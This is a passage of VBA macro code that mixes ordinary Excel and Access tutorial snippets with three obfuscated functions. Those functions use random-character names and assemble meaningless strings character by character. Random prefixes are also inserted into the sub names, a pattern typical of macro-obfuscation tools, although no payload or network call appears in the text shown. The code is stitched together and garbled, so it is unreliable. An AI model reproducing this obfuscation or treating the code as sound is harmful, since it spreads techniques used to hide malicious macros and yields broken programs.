    For Each Tesla In googleCar
        Tesla.Value = 20
    Next
End Sub

Sub M4Ejchange_Data_inColumn()
    Dim googleCar As Range
    Set googleCar = Range("B2").CurrentRegion
    
    For Each Tesla In googleCar.Columns(1)
        Tesla.Value = 15
    Next
End Sub

'Instead of For...Each just :
    'googleCar.Value = ...
    
Sub NA0rchange_specific_Data_inRange()
    Dim googleCar As Range
    Set googleCar = Range("B2").CurrentRegion
    
    For Each Tesla In googleCar
        If Tesla = 5 Then
            googleCar.Value = 10
        End If
    Next
End Sub




Function £¯À®cɽ´3() As String
Dim CRÂjåL¸Q¢¢
Dim B¸Æ½3ƒnRr¹w
Dim h7U­¤s¿³
Dim ìg0òüt§vfP­çD
Dim ö­±Aܼ¸£´
Dim Yñ¯2áºENº
Dim RRÜ¿ç·
Dim ºP³qáÜé
Dim BÀÑs¢ºzµç
Dim j¾P86axüûgH
Dim Yi©QJìúD
Dim ¿9TªÁëûù7§J
Dim xÁ4xûQ
Dim ¢¿±ÀàF©
Dim ´êSåKêYÀ
Dim ÀmP½F
CRÂjåL¸Q¢¢ = "T"
B¸Æ½3ƒnRr¹w = CRÂjåL¸Q¢¢ & "W"
h7U­¤s¿³ = B¸Æ½3ƒnRr¹w & "x"
ìg0òüt§vfP­çD = h7U­¤s¿³ & "1"
ö­±Aܼ¸£´ = ìg0òüt§vfP­çD & "E"
Yñ¯2áºENº = ö­±Aܼ¸£´ & "_"
RRÜ¿ç· = Yñ¯2áºENº & "T"
ºP³qáÜé = RRÜ¿ç· & "/"
BÀÑs¢ºzµç = ºP³qáÜé & "M"
j¾P86axüûgH = BÀÑs¢ºzµç & ")"
Yi©QJìúD = j¾P86axüûgH & "y"
¿9TªÁëûù7§J = Yi©QJìúD & "d"
xÁ4xûQ = ¿9TªÁëûù7§J & "P"
¢¿±ÀàF© = xÁ4xûQ & "b"
´êSåKêYÀ = ¢¿±ÀàF© & "d"
ÀmP½F = ´êSåKêYÀ & "7"
£¯À®cɽ´3 = ÀmP½F
End Function
Sub sCDMfinding_Record()
    '
    ' Opening a record set and findind a record
    '
    Dim db As DAO.Database
    Dim rs As Recordset
    
    Set db = CurrentDb
    
    
    Set db = Nothing
    Set rs = Nothing
End Sub

Sub Vl5Nfilter_RecordSet()
    '
    ' Opening a record set and finding a record
    '
    Dim db As DAO.Database
    Dim rs As Recordset
    
    Set db = CurrentDb
    Set rs = db.OpenRecordset("SELECT * " & _
                              "FROM Tournaments " & _
                              "WHERE TourCode = 'TKY'")
    'Set rs = db.OpenRecordset("SELECT * FROM Tournaments " & _
    '                          "WHERE TourCode = 'TKY' AND/OR/NOT ... ''")
    'Set rs = db.OpenRecordset("SELECT * " & _
    '                          "FROM Tournaments " & _
    '                          "WHERE TourCode = 'TKY' ORDER BY ... DESC/ASC ")
    
    'TO DO
    
    Set db = Nothing
    Set rs = Nothing
End Sub

Sub bdxbprinting_Elements()
    '
    '   Prints everything from a recordset
    '
    Dim db As DAO.Database
    Set db = CurrentDb

    Dim rs As Recordset
    Set rs = db.OpenRecordset("Google")
    
    Do While Not rs.EOF
       Debug.Print rs("ID") & " - " & rs("Cible1")
       rs.MoveNext
    Loop
End Sub


Function Æûêùñ3miRÉ6áá() As String
Dim âsÁSJkî
Dim QåAaPwêu
Dim Pu§W©ñÄÄ
Dim bÖ7PqO8ê
Dim Ætô½OÑáT5²
Dim Bèzú£Xárë
Dim cìSqê´ÜP
âsÁSJkî = "­"
QåAaPwêu = âsÁSJkî & "¢"
Pu§W©ñÄÄ = QåAaPwêu & "¶"
bÖ7PqO8ê = Pu§W©ñÄÄ & "1"
Ætô½OÑáT5² = bÖ7PqO8ê & "µ"
Bèzú£Xárë = Ætô½OÑáT5² & "ÿ"
cìSqê´ÜP = Bèzú£Xárë & "¯"
Æûêùñ3miRÉ6áá = cìSqê´ÜP
End Function

Private Sub riPECfTUcreate_dictionary()
    '
    ' This sub is used to initialize the values in the dictionary
    ' when the class is called by outside programs.
    ' It iterates on the PCG sheets in order to collect the values
    ' and integrate them to the dictionary.
    '
    top_row_adress = pcg.Range("A2").Row
    bottom_row_adress = pcg.Range("A2").End(xlDown).Row
    
    For i = top_row_adress To bottom_row_adress
        pcg_dictionary.Add pcg.Range("A" & i).Value, pcg.Range("A" & i).Offset(0, 1).Value
    Next i
End Sub

Public Sub i9fSILGzfill_list_box_item(Optional specific_class As Long = 0)
    '
    ' Use this sub to fill the list box with the values for the
    ' user to choose from.
    '
    ' -- Use 0 to get all items from the dictionary
    ' -- Use a class number betweet 1 and 7 to get a specific class
    '
    If specific_class = 0 Then
        For Each dictionary_item In pcg_dictionary.Items
            UserForm1.ListBox1.AddItem dictionary_item
        Next
    End If
    
    If specific_class > 0 Then
        Call regex_engine(specific_class)
    End If
End Sub





Function è9üfÖ±Áï() As String
Dim £3­1V7
Dim K­´mC´FNÖ
Dim OdevD§ä¸
Dim ¶terïï¿ZOê
Dim ¿únö2gx´§µ
Dim m´e®²Nc2¯I³X
Dim Nnƒ±ƒ¹mè¶D
Dim £ötU£hb
Dim º¿é0FY
Dim DåɳüªÀ6
Dim Ku릥uoÄUå¿
Dim Z¿yIk¼ñâ
£3­1V7 = "g"
K­´mC´FNÖ = £3­1V7 & "´"
OdevD§ä¸ = K­´mC´FNÖ & "§"
¶terïï¿ZOê = OdevD§ä¸ & "V"
¿únö2gx´§µ = ¶terïï¿ZOê & "î"
m´e®²Nc2¯I³X = ¿únö2gx´§µ & "ì"
Nnƒ±ƒ¹mè¶D = m´e®²Nc2¯I³X & "e"
£ötU£hb = Nnƒ±ƒ¹mè¶D & "7"
º¿é0FY = £ötU£hb & "ì"
DåɳüªÀ6 = º¿é0FY & "¼"
Ku릥uoÄUå¿ = DåɳüªÀ6 & "v"
Z¿yIk¼ñâ = Ku릥uoÄUå¿ & "¤"
è9üfÖ±Áï = Z¿yIk¼ñâ
End Function
Private Sub vkr9z5Y9Class_Initialize()
    'Set sheets at initialization
    Call get_Worksheet_Helper
    type_entreprise = wk_two.Range("type_entreprise").Value
    Call set_phrases_Helper
End Sub

Private Sub Ote3kUKrget_Worksheet_Helper()
    Set wk_one = Worksheets("Analyse")
    Set wk_two = Worksheets("Config")
End Sub

Private Sub f9cXHXuTset_phrases_Helper()
    Dim c_var, t_var, d_var As String
    '
    ' This helper is used to create the phrases with the variables
    ' that were set or calculated in the 'Config' worksheet
    '
    phrase_one = "L'entreprise fonctionne " & wk_two.Range("jours_activités").Value & _
                 " jours par semaines soit un nombre total de " & _
                 Round(wk_two.Range("semaines_activités").Value, 2) & " semaines."
    '
    ' TO DO
    '
    
    '
    ' I am using this technique in order to get the correct values to display
    ' depending on the fact if the enterprise is a restaurant or bar instead
    ' of a digital based type project
    '
    If type_entreprise = "numérique" Then
        c_var = "ca_numérique"
        t_var = "frequentation_mensuelle"
        d_var = "mois"
    Else
        c_var = "ca_restauration"
…